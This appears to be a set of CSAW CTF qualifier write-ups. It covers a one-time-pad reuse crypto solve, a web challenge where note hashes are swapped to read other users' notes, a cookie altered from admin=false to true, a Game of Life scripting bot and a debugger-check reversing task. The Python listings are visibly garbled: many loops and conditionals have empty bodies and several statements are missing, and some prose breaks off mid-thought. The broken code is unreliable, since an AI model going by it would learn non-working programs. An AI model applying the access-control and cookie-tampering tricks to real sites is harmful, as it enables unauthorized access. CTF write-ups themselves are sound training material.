After decoding the hex-strings into raw bytes, I decided to check the results of the first byte of every string against possible pad bytes and output all pads that would output a character within a reasonable character set. This is the character set that I ended up using:
mccstring=" @$,.!1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_{}"
At first, I thought only string.printable would be part of the pad. For our pad, this gave me the result of:
[[], ['G'], ['('], [], [], [], ['o'], ['h'], ['9'], [], [], [], ['q'], ['+'], [' '], [], [], ['a'], [], ['@'], [], ['r'], [], ['f'], ['s'], [';'], [], ['t'], [], [], ['|'], ['V'], [], ['E'], ['w'], [], [], [], [], ['K', '#'], [], [], [], [], [], [], [], ['h'], ['L'], [], [], ['\n']]
That's not useful at all. So then I expanded our available character set to the entire range, which was accomplished by:
That gave us the significantly more useful result of:
[['\xcb', '\xdf'], ['G'], ['('], ['\x8b'], ['\xd4'], ['\xea'], ['o'], ['h'], ['9'], ['\xa4'], ['\xe4'], ['\x86'], ['q'], ['+'], [' ', '\xbe'], ['\x9b'], ['\x8f'], ['a'], ['\x7f'], ['@'], ['\xe7'], ['r'], ['\xf8'], ['f'], ['s'], [';'], ['\x0f'], ['t'], ['\xe5'], ['\xaf'], ['|'], ['V'], ['\xa9'], ['E'], ['w'], ['\x1e'], ['\xbf'], ['\xeb'], ['\xa9', '\xc3'], ['#', 'K'], ['\x10'], ['\xa7'], ['\xf6'], ['\xfe'], ['\xa6'], ['\x81'], ['\xf7'], ['h'], ['L'], ['\xef'], [], ['\n', '\xe5']]
This isn't much to guess from. With only one empty character for our pad (which I filled in with a random character), I just made my key from these results.
padp = '\xdfG(\x8b\xd4\xeaoh9\xa4\xe4\x86q+\xbe\x90\x8fa\x7f@\xe7r\xf8fs;\x0ft\xe5\xaf|V\xa9Ew\x1e\xbf\xeb\xc3#\x10\xa7\xf6\xfe\xa6\x81\xf7hL\xefa\xe5' + 100*'a'
I filled in the string with several 'a's in order to save my script from just crashing to the ground after it hits the last character of the shortest string. Good enough for government work!

Decrypting using this pad gave me the result of:
MY key for you ミs {And yes the nsa can dead this tᆵ}
There's a few things screwy with this, but "And yes the nsa can dead this to" was not the key. The only reasonable other choice is "read" instead of "dead." Put that in and it works! Here is the code I used:

import string
import os
from hashlib import sha512
from binascii import hexlify
import itertools


def genTables(seed="Well one day i'll be a big boy just like manhell"):
    for el in xrange(256):
        for x in xrange(4):
        for toUpdate in xrange(256):
            del unused[curInd]
            gSub[(el,toDo )]=toUpdate
    return fSub,gSub


def decrypt(pad, ciphertext):
    assert(len(ciphertext)<=len(pad))#if pad < ciphertext bail
    ptext = []
    if type(ciphertext)==type(""):
    if type(pad)==type(""):
    for padByte,ctextByte in zip(pad,ciphertext):
    return "".join(map(chr,ptext))

for x in xrange(len(ciph)):

temp, winningPads= [], []

mccstring=" @$,.!1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_{}"
for y in xrange(52):
    for padPoss in charspace:
        for x in xrange(len(ciph)):
            temp.append(chr(g[ord(padPoss), ord(ciph[x][y])]))
        except IndexError:
        for each in temp:
            if each not in mccstring:

#for each in winningPads:
#    print(each)

padp = '\xdfG(\x8b\xd4\xeaoh9\xa4\xe4\x86q+\xbe\x90\x8fa\x7f@\xe7r\xf8fs;\x0ft\xe5\xaf|V\xa9Ew\x1e\xbf\xeb\xc3#\x10\xa7\xf6\xfe\xa6\x81\xf7hL\xefa\xe5' + 100*'a'

print(decrypt(padp, ciph[7]))


CSAW CTF Quals: Web 200

Web 200- Nevernote

Upon visiting the IP given, we encounter a login page.  After making a user and messing around with the site for a while, we made a few discoveries. 
First, there were two major functions:
                Message sending between users
                Note keeping for user accounts

Each type had its own webpage, but displayed the information relatively the same way.  They also retrieved information in the same way: using a long hash of some kind

ex: OGYwH6NoIW8tFXlruRu5Byd%2BA33Wl7C8s%2BTyZ0yza983uclRUJJwGUU1xRm1AYxNsFxBJXN0eim7vXNC0BJBnLGooE%2F3K5HFZys35A90XFEYuGfMN0EMoJwMADyivk1h7Gi%2FnQINWjGTqfX0OpFU0wHQr9FeD2Bi%2F6p0USZ7Ync%3D

The two pages were viewmessage.php and editnote.php.

From what we could tell, the content of the message did not change the hash in any way.  From this we assumed that the hash was related to its index or similar. 

The next thought we had was to see if the messages and notes were stored in the same places.  After copying the hash from the first of my notes and pasting it into the messages, I was able to see a message I hadn't seen before and a list of notes that didn't belong to me.  So we continued following down that rabbit hole. After a couple iterations of doing the same thing, selecting from the new list of notes every time and moving the hash to messages, we managed to reach a note at:

The note was titled key and the body of the note said:

And there it was.



CSAW CTF Quals: Web 100

Web 100 – Guess Harder

Probably one of the simplest challenges of the competition.  When you navigate to the website you are given a password form and a statement saying “You will never guess my password!”

Immediately we turned on Tamper Data in Firefox to look at what was being passed by the form.  The only thing that was strikingly obvious was in the cookie being sent was a variable called ‘admin’ that was set to ‘false’.  We set it to ‘true’ and sent it on its way. 

And upon return, we got key{told_ya_you_wouldnt_guess_it}.


- shdwstrk

CSAW CTF Quals: Misc 300

This challenge was purely a scripting challenge.

When contacted the server would respond with a box made of #’s with a random arrangement of *’s in them and how many generations to go forward. Luckily, the team was familiar with Conway's Game of Life and so the challenge was able to be solved early. If you were not familiar with it then they later gave a hint about what it was.

Anyway, using the rules of the game of Life, we simply assumed that the stars represented alive pixels and the blanks represented dead pixels. From there we made a simple python program to scan the server response, go forward the stated number of generations, and then send back the resulting box. The trick was to make sure the box could be any size.

Here is the python script we used to solve the challenge. After 100 puzzle solves it gave you the key. :)

##### Round 1: 29 Generations #####
#               *  #
#         *  *  *  #
#**  *    *     *  #
# * *      *       #
#*  **    *        #
#*    *            #
#                  #
#                  #
#           **     #
#     *    **      #
#    *     *       #
#     * * *        #
#       *          #
#           *  *   #
#          *  **   #
#         *     ** #
#     *     *  *** #
#  *      * *      #
#   *  *       *   #
#       *      *  *#

Here is the python script we used:
def lifebot((HOST,port)):
 sock = socket.socket()
 sock.connect((HOST, port))
 p = fdpexpect.fdspawn(sock)
 p.logfile = sys.stdout
 #100 rounds to win...
 for rounds in range(100):
  #parse server response
  p.expect('Round ')
  p.expect(': ')
  p.expect(' Generations')
  numgen = int(p.before)
  initgen = p.before
  #put into 2D array
  lifegrid = []
  for line in initgen.split('\n')[:-1]:
   lifegrid.append([char for char in line if char != '#'])
  #go ahead that many gens
  for i in xrange(numgen):
   lifegrid = getnextgen(lifegrid)
  answer = '#'*(len(lifegrid[-1])+2) +'\n'+ ''.join('#'+''.join(char for char in line)+'#\n' for line in lifegrid) + '#'*(len(lifegrid[-1])+2)+'\n'
 #wait for server to send us key :)
 for i in xrange(5):
  print sock.recv(1000)

def getnextgen(lifegrid):
 newlifegrid = []
 for i in xrange(len(lifegrid)):
  for j in xrange(len(lifegrid[i])):
   #count how many neighbors
   count = 0
   for k in [-1,0,1]:
    for l in [-1,0,1]:
     if len(lifegrid)>i+k>=0 and len(lifegrid[i])>j+l>=0 and not k == l == 0 and lifegrid[i+k][j+l] == '*':
   #depending on how many neighbors, determine next gen pixel
   if count == 3:
   elif count == 2:
    newlifegrid[-1].append(' ')
 return newlifegrid


CSAW CTF Quals: Reversing 100 csaw2013reversing1

Looking at the pseudocode from IDA, we get the following:
From this, we see that the program kicks out one key if its in a debugger, and one otherwise. Running it in a debugger produces the correct one!